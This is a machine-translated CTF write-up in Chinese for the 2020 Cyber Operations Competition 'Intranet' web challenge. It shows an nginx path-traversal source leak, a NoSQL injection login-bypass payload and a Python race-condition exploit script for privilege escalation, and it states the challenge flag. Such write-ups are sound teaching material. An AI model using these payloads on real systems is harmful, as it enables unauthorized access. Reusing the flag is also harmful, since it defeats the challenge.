Arang.dev
搜索
사이버작전 경연대회 2020🏁 CTF🌐 已翻译

2020 网络作战竞赛 - Intranet Writeup

利用 Nginx route 配置错误、NoSQL Injection 和 Race Condition 进行权限提升

#cyber-warfare#nosql-injection#race-condition#nginx

本文由 AI 从韩语机器翻译,部分表达可能与原文有所不同。

阅读原文(韩语)

题 目

分 类

分 数

1.3 Intranet

web

?

在暴露的 敌国 生化 研究所 内部 网站中,夺取 管理员 权限,并以此 探索 内部 系统。

http://3.35.40.133

解题步骤

  1. 利用 nginx route 配置错误导致 server source code leak
  2. 利用 nosql injection获取 member权限
  3. 确认功能后利用 race condition获取 admin 权限
  4. 查看公告板上的 member level=2 帖子时获取 Flag

答案

flag{This_is_top_secret_dont_you_agree}

解 题 过 程

存在 sign up / sign in 页面

注册并登录后进入 mypage,可以看到 perm为 Guest。

此时请求 /api/static/{:userid} ,结合服务器是 nginx这一点,可以推测可能存在错误的 route配置,从而导致 file leak。

像这样请求 /api/static../User.js ,由于 nginx的错误 route配置,会跳出 static目录访问到原本无法访问的文件,从而获取服务器端代码。

----------------------------------------------------------------------------------------------

const signin = (req, res) => {

    User

        .findOne({

            userid: req.body.userid,

            password: req.body.password

        })

        .then(user => {

            if (!user) {

                res.status(406);

                res.send();

            } else {

                res.status(200);

                control

                    .sign({ id: user.userid })

                    .then(tok => {

                        res.send(JSON.stringify({

                            username: user.userid,

                            token: tok

                        }))}

                    );

            }})

        .catch(err => {

            res.status(500);

            res.send(JSON.stringify({ reason: { html: err } }));

        });

};


----------------------------------------------------------------------------------------------

查看服务器端代码中的登录部分,可以确认使用了 mongo db Model的 .findOne 方法,以用户提交的 id和 password作为 key进行检索。

 

但是,由于使用了 findOne 方法 + 服务器配置为 app.use( bodyParser.urlencoded({ extended: true }) ); ,用户可以直接传递 Object 对象。这导致了 nosql injection的产生,

像 {"userid":"admin","password":{"$gt":""}} 这样发送请求,即使不知道 admin的密码也能登录。

 

通过 nosql injection获取了 admin的 Token,将 local storage中的 Token 值替换为 adminToken,即可确认已作为 admin登录。

 

 

但是,在这个题目中,真正的管理员必须是 level=2 以上。



当前连接的管理员是 level=1(member),在 board list中只能查看等级低于自己的帖子。因此,根据题目目标,必须获取管理员等级。

 

这种情况下, auth 的行为有些奇怪,如果输入正确的 division_number,且当前连接账户的 level为 0时,会将该账户的 level提升 1 。

 

division_number虽然未知,但同样可以通过 nosql injection来提升等级。

 

此外,该代码在 Division 模型中使用 findOne 函数查找值,然后使用 updateOne进行 update,由此推测如果快速发送两次该请求,可能会引发 race condition,从而有可能使 level增加两次。


---------------------------------------------------------------------------------------------- 

#-*- coding:utf-8 -*-

import requests

import sys

import time

import re

import string

import datetime

import json, os, sys, html, zlib

from arang import *

from concurrent.futures import ThreadPoolExecutor

from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

 

packet='''POST http://3.35.40.133/api/signup HTTP/1.1

Host: 3.35.40.133

Connection: keep-alive

Content-Length: 42

Accept: application/json, text/plain, */*

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36

Content-Type: application/json;charset=UTF-8

Origin: http://3.35.40.133

Referer: http://3.35.40.133/signup

Accept-Encoding: gzip, deflate

Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7

 

'''

 

s = requests.session()

 

def raceCondition(args):

    global pp,s

    u = 'http://3.35.40.133/api/auth'   

    data = {"division_number":{"$gt":""}}

    r = s.post(u, data=json.dumps(data), headers=pp.headers)

    print('--------------')

    print(r.content)

    print('--------------')

 

   

 

for i in range(1,1000):

    # signup   

    pp = parsePacket(packet.format(i))

    pp.proxies="127.0.0.1:8888"

    data = {"userid":"arat0{:03d}".format(i),"password":"dkfkd31231"}

    r = s.post(pp.url, data=json.dumps(data), headers=pp.headers)

    if r.status_code==200:

        # signin

        u = "http://3.35.40.133/api/signin"

        data = {"userid":"arat0{:03d}".format(i),"password":{"$gt":""}}

        r = s.post(u, data=json.dumps(data), headers=pp.headers)

        if r.status_code==200:

            rj = json.loads(r.content)

            pp.headers['x-access-token'] = rj['token']

           

           

           

            with ThreadPoolExecutor(3) as pool:

                t=[1,2,3,4,5]

                ret = [x for x in pool.map(raceCondition,t)]


---------------------------------------------------------------------------------------------- 

通过上述触发 race condition的 Exploit 代码,可以将 level增加 2次

实际上确认了 auth 请求执行了 2次,使用该账户登录时

可以确认已经变成了 admin。

获取 Flag

评论

正在加载评论...
2020 网络作战竞赛 - Intranet Writeup | 사이버작전 경연대회 2020 | Arang